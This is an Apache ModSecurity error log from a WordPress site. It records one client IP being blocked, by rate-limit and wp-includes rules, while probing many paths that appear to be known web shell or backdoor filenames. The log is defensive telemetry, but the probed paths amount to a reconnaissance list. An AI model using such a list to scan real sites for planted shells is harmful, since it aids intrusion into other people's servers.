[Sun Jan 18 18:52:38.742872 2026] [:error] [pid 37885:tid 37905] [client 20.2.112.127:3902] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/plugins.php"] [unique_id "aWy7doIjOL7XA82H72V0vwAAAVE"]
[Sun Jan 18 18:52:39.000176 2026] [:error] [pid 12924:tid 12968] [client 20.2.112.127:3865] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/plugins.php"] [unique_id "aWy7diuv3PUo9LR6V6Yk8gAAAEg"]
[Sun Jan 18 18:52:39.233499 2026] [:error] [pid 12925:tid 13007] [client 20.2.112.127:3901] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/plugins.php"] [unique_id "aWy7d_sBL-4pnmSbzihH3AAAAJM"]
[Sun Jan 18 18:52:39.466215 2026] [:error] [pid 12925:tid 12996] [client 20.2.112.127:3928] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aWy7d_sBL-4pnmSbzihH3gAAAIg"]
[Sun Jan 18 18:52:39.698998 2026] [:error] [pid 33494:tid 33500] [client 20.2.112.127:3946] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aWy7d7xmLR_50TtKxDILpAAAAQI"]
[Sun Jan 18 18:52:39.932921 2026] [:error] [pid 12924:tid 12964] [client 20.2.112.127:3904] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aWy7dyuv3PUo9LR6V6Yk9AAAAEQ"]
[Sun Jan 18 18:52:40.183288 2026] [:error] [pid 12924:tid 12963] [client 20.2.112.127:3869] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aWy7eCuv3PUo9LR6V6Yk9QAAAEM"]
[Sun Jan 18 18:52:40.419628 2026] [:error] [pid 12925:tid 12997] [client 20.2.112.127:3956] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aWy7ePsBL-4pnmSbzihH4AAAAIk"]
[Sun Jan 18 18:52:40.654114 2026] [:error] [pid 37885:tid 37897] [client 20.2.112.127:4044] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aWy7eIIjOL7XA82H72V0wQAAAUk"]
[Sun Jan 18 18:52:40.889065 2026] [:error] [pid 13034:tid 13058] [client 20.2.112.127:3872] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aWy7eMRGpUu1E8cmbmiKbAAAANQ"]
[Sun Jan 18 18:52:41.122178 2026] [:error] [pid 33494:tid 33502] [client 20.2.112.127:3952] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aWy7ebxmLR_50TtKxDILpQAAAQQ"]
[Sun Jan 18 18:52:41.355974 2026] [:error] [pid 12925:tid 12994] [client 20.2.112.127:10425] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aWy7efsBL-4pnmSbzihH4QAAAIY"]
[Sun Jan 18 18:52:41.588193 2026] [:error] [pid 12925:tid 12999] [client 20.2.112.127:3955] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aWy7efsBL-4pnmSbzihH4wAAAIs"]
[Sun Jan 18 18:52:41.822126 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:3850] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "aWy7ebxmLR_50TtKxDILpwAAAQ0"]
[Sun Jan 18 18:52:42.061328 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3848] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "aWy7eoIjOL7XA82H72V0wgAAAUA"]
[Sun Jan 18 18:52:42.296056 2026] [:error] [pid 33494:tid 33522] [client 20.2.112.127:3897] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "aWy7erxmLR_50TtKxDILqQAAARg"]
[Sun Jan 18 18:52:42.538990 2026] [:error] [pid 12924:tid 12960] [client 20.2.112.127:3953] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aWy7eiuv3PUo9LR6V6Yk-wAAAEA"]
[Sun Jan 18 18:52:42.775247 2026] [:error] [pid 13034:tid 13057] [client 20.2.112.127:3880] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aWy7esRGpUu1E8cmbmiKbwAAANM"]
[Sun Jan 18 18:52:43.011337 2026] [:error] [pid 33494:tid 33519] [client 20.2.112.127:4019] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aWy7e7xmLR_50TtKxDILqwAAARU"]
[Sun Jan 18 18:52:43.261638 2026] [:error] [pid 33494:tid 33520] [client 20.2.112.127:3981] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aWy7e7xmLR_50TtKxDILrgAAARY"]
[Sun Jan 18 18:52:43.494911 2026] [:error] [pid 37885:tid 37900] [client 20.2.112.127:3943] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aWy7e4IjOL7XA82H72V0xAAAAUw"]
[Sun Jan 18 18:52:43.727966 2026] [:error] [pid 13034:tid 13056] [client 20.2.112.127:4025] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aWy7e8RGpUu1E8cmbmiKcQAAANI"]
[Sun Jan 18 18:52:43.963074 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:3930] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aWy7e8RGpUu1E8cmbmiKcgAAANU"]
[Sun Jan 18 18:52:44.195974 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:3888] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aWy7fLxmLR_50TtKxDILswAAARI"]
[Sun Jan 18 18:52:44.429083 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:3793] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aWy7fLxmLR_50TtKxDILtQAAAQk"]
[Sun Jan 18 18:52:44.663098 2026] [:error] [pid 37885:tid 37894] [client 20.2.112.127:3840] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aWy7fIIjOL7XA82H72V0xQAAAUY"]
[Sun Jan 18 18:52:44.897844 2026] [:error] [pid 12925:tid 13002] [client 20.2.112.127:3807] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aWy7fPsBL-4pnmSbzihH5wAAAI4"]
[Sun Jan 18 18:52:45.139622 2026] [:error] [pid 13034:tid 13045] [client 20.2.112.127:3894] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aWy7fcRGpUu1E8cmbmiKdAAAAMc"]
[Sun Jan 18 18:52:45.372339 2026] [:error] [pid 33494:tid 33522] [client 20.2.112.127:3881] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "aWy7fbxmLR_50TtKxDILuQAAARg"]
[Sun Jan 18 18:52:45.605693 2026] [:error] [pid 12925:tid 13003] [client 20.2.112.127:3857] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php"] [unique_id "aWy7ffsBL-4pnmSbzihH6AAAAI8"]
[Sun Jan 18 18:52:45.852129 2026] [:error] [pid 12925:tid 12995] [client 20.2.112.127:3862] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php"] [unique_id "aWy7ffsBL-4pnmSbzihH6QAAAIc"]
[Sun Jan 18 18:52:46.089026 2026] [:error] [pid 13034:tid 13061] [client 20.2.112.127:3927] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php"] [unique_id "aWy7fsRGpUu1E8cmbmiKeAAAANc"]
[Sun Jan 18 18:52:46.324930 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:3950] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php"] [unique_id "aWy7fvsBL-4pnmSbzihH7AAAAJE"]
[Sun Jan 18 18:52:46.558671 2026] [:error] [pid 12925:tid 12993] [client 20.2.112.127:3885] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gallery/"] [unique_id "aWy7fvsBL-4pnmSbzihH8AAAAIU"]
[Sun Jan 18 18:52:46.792342 2026] [:error] [pid 12925:tid 13006] [client 20.2.112.127:3898] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gallery/"] [unique_id "aWy7fvsBL-4pnmSbzihH8QAAAJI"]
[Sun Jan 18 18:52:47.025337 2026] [:error] [pid 12925:tid 13000] [client 20.2.112.127:3799] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gallery/"] [unique_id "aWy7f_sBL-4pnmSbzihH8gAAAIw"]
[Sun Jan 18 18:52:47.259053 2026] [:error] [pid 12925:tid 13011] [client 20.2.112.127:3891] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gallery/"] [unique_id "aWy7f_sBL-4pnmSbzihH8wAAAJc"]
[Sun Jan 18 18:52:47.491742 2026] [:error] [pid 12925:tid 13004] [client 20.2.112.127:3867] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aWy7f_sBL-4pnmSbzihH9QAAAJA"]
[Sun Jan 18 18:52:47.728340 2026] [:error] [pid 12923:tid 12933] [client 20.2.112.127:3858] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aWy7f-sWURrrC-4Rx5J6LwAAAAE"]
[Sun Jan 18 18:52:47.971494 2026] [:error] [pid 12923:tid 12947] [client 20.2.112.127:3937] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aWy7f-sWURrrC-4Rx5J6MAAAAA8"]
[Sun Jan 18 18:52:48.205542 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3882] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "aWy7gIIjOL7XA82H72V0yAAAAUA"]
[Sun Jan 18 18:52:48.438225 2026] [:error] [pid 12923:tid 12950] [client 20.2.112.127:3993] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2index.php"] [unique_id "aWy7gOsWURrrC-4Rx5J6MQAAABI"]
[Sun Jan 18 18:52:48.679968 2026] [:error] [pid 37885:tid 37899] [client 20.2.112.127:4013] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2index.php"] [unique_id "aWy7gIIjOL7XA82H72V0zAAAAUs"]
[Sun Jan 18 18:52:48.913243 2026] [:error] [pid 12924:tid 12968] [client 20.2.112.127:3801] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2index.php"] [unique_id "aWy7gCuv3PUo9LR6V6Yk_AAAAEg"]
[Sun Jan 18 18:52:49.149976 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:3942] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2index.php"] [unique_id "aWy7gcRGpUu1E8cmbmiKewAAAMs"]
[Sun Jan 18 18:52:49.383865 2026] [:error] [pid 33494:tid 33517] [client 20.2.112.127:3853] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkwk.php"] [unique_id "aWy7gbxmLR_50TtKxDILuwAAARM"]
[Sun Jan 18 18:52:49.618482 2026] [:error] [pid 12923:tid 12946] [client 20.2.112.127:3834] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkwk.php"] [unique_id "aWy7gesWURrrC-4Rx5J6NQAAAA4"]
[Sun Jan 18 18:52:49.851792 2026] [:error] [pid 13034:tid 13057] [client 20.2.112.127:3932] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkwk.php"] [unique_id "aWy7gcRGpUu1E8cmbmiKfAAAANM"]
[Sun Jan 18 18:52:50.084607 2026] [:error] [pid 37885:tid 37908] [client 20.2.112.127:3959] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wkwk.php"] [unique_id "aWy7goIjOL7XA82H72V0zgAAAVQ"]
[Sun Jan 18 18:52:50.317782 2026] [:error] [pid 13034:tid 13056] [client 20.2.112.127:3786] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aWy7gsRGpUu1E8cmbmiKfQAAANI"]
[Sun Jan 18 18:52:50.551932 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:4052] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aWy7goIjOL7XA82H72V00QAAAUI"]
[Sun Jan 18 18:52:50.785163 2026] [:error] [pid 12925:tid 12994] [client 20.2.112.127:3871] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aWy7gvsBL-4pnmSbzihH_QAAAIY"]
[Sun Jan 18 18:52:51.019264 2026] [:error] [pid 12924:tid 12971] [client 20.2.112.127:3745] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aWy7gyuv3PUo9LR6V6Yk_gAAAEs"]
[Sun Jan 18 18:52:51.292013 2026] [:error] [pid 12925:tid 12990] [client 20.2.112.127:3895] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/mailer.php.php"] [unique_id "aWy7g_sBL-4pnmSbzihH_wAAAII"]
[Sun Jan 18 18:52:51.525564 2026] [:error] [pid 37885:tid 37893] [client 20.2.112.127:3790] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsanon.php"] [unique_id "aWy7g4IjOL7XA82H72V01AAAAUU"]
